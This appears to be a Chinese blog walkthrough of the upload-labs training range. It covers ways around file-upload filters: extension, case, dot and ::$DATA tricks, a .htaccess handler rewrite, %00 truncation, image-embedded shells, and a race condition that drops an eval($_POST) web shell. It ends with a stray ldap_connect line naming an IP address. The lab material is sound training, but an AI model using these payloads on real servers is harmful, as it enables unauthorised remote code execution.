upload-labs

Pass 1

利用burp抓包,点击send to repeaer

https://editor.csdn.net/md/?not_checkout=1&articleId=120932072

将1.png换成gg.php后发现成功绕过,上传

在这里插入图片描述

Pass 2(Content-type)

查看源码,发现只检查Content-type的类型

在这里插入图片描述

所以更改Content-type的类型为image/jpeg、image/png、image/gif即可绕过

在这里插入图片描述

发现gg.php上传成功

Pass 3(后缀名绕过)

查看源码发现,常规的格式都被过滤了

在这里插入图片描述

所以可以使用phtml,php3,php4, php5, pht后缀名都可以绕过

在这里插入图片描述

成功上传gg.php

Pass 4(.htaccess文件)

查看源码,发现基本所有格式都被过滤了

在这里插入图片描述

但是.htaccess还是没有过滤,可以重写文件解析规则绕过,上传一个.htaccess文件
关于.htaccess的资料可以参考https://www.cnblogs.com/engeng/articles/5948089.html
.htaccess的内容如下

<FilesMatch "ceshi">
SetHandler application/x-httpd-php
</FilesMatch>   

这时先上传一个.htaccess文件

在这里插入图片描述

然后再上传ceshi.txt,内容为

<?php
phpinfo();
?>

在这里插入图片描述

得到一个地址,访问它

在这里插入图片描述

回显了phpinfo,说明上传成功

Pass 5(后缀大小写)

查看源码,发现.htaccess也被过滤了,但是少了这句话,所以我们可以将后缀大小写混合绕过

 $file_ext = strtolower($file_ext); //转后缀换为小写

成功上传

在这里插入图片描述

Pass 6(空格绕过)

比第五关少了这句话,所以可以将后缀名后面加上个空格绕过

 $file_ext = trim($file_ext); //将首尾去除空格

成功上传

在这里插入图片描述

当然,前面加个空格也是可以的

在这里插入图片描述

Pass 7(后缀加点绕过)

对比源码,比第六关少了一句话

$file_name = dedot($file_name);//删除文件名末尾的点

在这里插入图片描述

所以,在后缀后面加个点即可

在这里插入图片描述

成功上传

Pass 8(::$DATA绕过)

少了这句话

 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

所以可以在后缀后面加一个::$DATA即可

在这里插入图片描述

成功上传

Pass 9

查看源码,发现全部都过滤了

在这里插入图片描述

但是都只过滤了一次,所以我们可以在后缀后面加上点空格点. .

在这里插入图片描述

Pass 10(乱序双写)

查看源码,这两句是关键,他会过滤连在一起的php,其他该过滤的都过滤了

在这里插入图片描述

所以使用乱序双写后缀,中间夹一个php即可

在这里插入图片描述

Pass 11*

查看源码,发现关键在这里,save_path后面跟上了一个后缀,需要绕过,原理我也不懂,反正说要使用%00截断,但是需要两个条件1.php版本小于5.3.4 2.php的magic_quotes_gpc为OFF状态

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

所以如果要绕过,令save_path等于../upload/gg.php%00

在这里插入图片描述

这样应该就可以了

Pass 12*

这里和11只有一个变化,就是get变成了post

$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

绕过的方式一样,只不过这里需要在二进制里面修改%00,因为post不会像get对%00进行自动解码。

找到对应的地方改为00即可

在这里插入图片描述

在这里插入图片描述

成功上传

Pass 13(图片马)

利用图片马上传,就是将木马包含在一张图片里绕过上传

最简单制作图片马的方法就是在cmd中运行,shell.png即是图片马

copy 1.png/b+ 2.php/a shell.png

我在php中写的便是echo‘hello world’可以看到成功上传,这里我们得到了上传图片的位置

在这里插入图片描述

之后根据提示,利用文件包含漏洞

在这里插入图片描述

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

访问图片

http://39f12657-51c0-486d-893a-7f82c1c9f47e.node4.buuoj.cn:81/include.php?file=upload/5520211116122413.jpg

在这里插入图片描述

可以看到最后出现了hello world,说明上传成功了

Pass 14(图片马)

同13一样,还是可以图片马上传绕过,只是这里用了getimagesize函数来对文件类型做判断

在这里插入图片描述

Pass 15(图片马)

用了exif_imagetype函数用于确定图像的类型,还是可以用图片马绕过,方法同13,14

Pass 16(二次渲染)

二次渲染,会将上传的图片进行更改,然后原来写入图片的木马就会消失,所以我们先上传一个png的图片

用HxD打开上传前

在这里插入图片描述

上传之后系统会返回给我们一个二次渲染后的文件,打开,

发现我们的木马消失了

在这里插入图片描述

所以我们对比两张图片相同的地方,在里面插入shell就可以绕过了。

Pass 17,18(条件竞争上传)

使用burpsuite抓包上传1.php,一直重放上传文件
1.php内容:

<?php fputs(fopen('2.php','w'),<?php @eval($_POST["x"])?>‘);?>

访问了1.php文件,php文件就会成功执行,自动创建一个2.php,写入一句话木马:

<?php @eval($_POST["x"]);?>

用Burp不断上传,再用burp不断访问即可

Pass 20(递归/.)

观察源码,发现move_uploaded_file.

在这里插入图片描述

该函数会递归删除文件名最后的/.
所以上传文件名为1.php/.即可绕过

在这里插入图片描述

ldap_connect(“47.106.172.144:2333”)
posted @ 2022-07-06 13:42  phant0m1  阅读(64)  评论(0编辑  收藏  举报